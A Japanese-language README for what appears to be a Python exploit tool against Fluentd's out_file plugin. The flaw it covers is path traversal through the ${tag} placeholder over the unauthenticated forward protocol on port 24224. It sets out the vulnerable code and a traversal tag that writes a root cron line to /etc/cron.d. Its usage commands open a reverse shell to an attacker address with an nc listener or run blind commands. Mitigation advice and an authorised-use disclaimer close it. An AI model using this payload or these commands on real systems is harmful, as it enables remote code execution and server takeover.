
out_file ${tag} パストラバーサルによる任意ファイル書き込みFluentd の out_file プラグインにおける、${tag} プレースホルダーを介した認証不要の任意ファイル書き込み。
out_file を使うと、オペレータは ${tag} プレースホルダーで出力パスをテンプレート化できます(例: path /var/log/fluent/${tag})。Output#extract_placeholders(lib/fluent/plugin/output.rb)は、イベントのタグをパスに置換しますが、../ のサニタイズは行いません(CWE-22)。
if str.include?('${tag}')
rvalue = rvalue.gsub('${tag}', metadata.tag) # attacker-controlled tag, no ../ check
in_forward プロトコル(ポート 24224)経由で到着するイベントは、ワイヤメッセージからタグをそのまま受け取ります。また allow_anonymous_source のデフォルトは true であるため、認証されていない攻撃者が ../../../../../../etc/cron.d/pwn のようなタグを設定して、設定されたディレクトリから脱出し、fluentd プロセスのユーザーとして任意の絶対パスに書き込むことができます。
<= 1.19.21.19.3(${tag} の展開前にタグ内の ../ や絶対パス成分を拒否、PR #5391)in_http ではなく in_forwardin_http は path.split('/').join('.') で URL パスからタグを導出するため、すべての / が . に変換されます。つまり Linux では ../ は生き残れません(%2f もデコードされません)。タグをバイト単位でそのまま通すのは forward プロトコル(24224) だけです。このエクスプロイトは、そのプロトコル(msgpack の [tag, time, record] メッセージ)を依存関係のない小型の組み込みエンコーダで必要最小限だけ話します。
Python 3 の標準ライブラリのみを使用します。ターゲットは、path に ${tag} を含む out_file と匿名の in_forward ソース(デフォルト)を備えた脆弱な Fluentd を実行している必要があります。書き込みをそのまま使える cron ドロップに変換するには、ファイル名と内容を改変しない out_file(例: add_path_suffix false、append true、timekey なし、single_value フォーマット)が必要です。それ以外の場合は、ファイル書き込みを使って既知のパスのファイルを上書きしてください。
# reverse shell (start a listener first: nc -lvnp 4444). Fires via cron within ~60s.
python3 exploit.py 10.10.10.10 --shell 10.10.14.5:4444
# blind command as root
python3 exploit.py 10.10.10.10 -c 'id > /tmp/pwned'
# custom forward port
python3 exploit.py 10.10.10.10:24224 --shell 10.10.14.5:4444
ポート 24224 に forward イベント ["../../../../../../etc/cron.d/pwn", <time>, {"msg": "* * * * * root <cmd>"}] を送信します。out_file は ${tag} を展開して /var/log/fluent/../../../../../../etc/cron.d/pwn = /etc/cron.d/pwn とし、(single_value フォーマットの場合)レコードの msg をそのまま書き込むため、有効な cron 行になります。cron はそれを約 60 秒以内に、fluentd ユーザーとして実行します(fluentd が root で実行されている場合は root として)。
Fluentd を ≥ 1.19.3 にアップグレードしてください。forward ポートを信頼できないネットワークに公開しないでください(共有キー認証を有効にする / allow_anonymous_source false)。fluentd を root で実行しないでください。信頼できない入力に対しては、出力パスでの ${tag} の使用を避けてください。
許可されたセキュリティテストと教育目的にのみ使用してください。自分が所有しているシステム、またはテストする明示的な許可を得たシステムに対してのみ使用してください。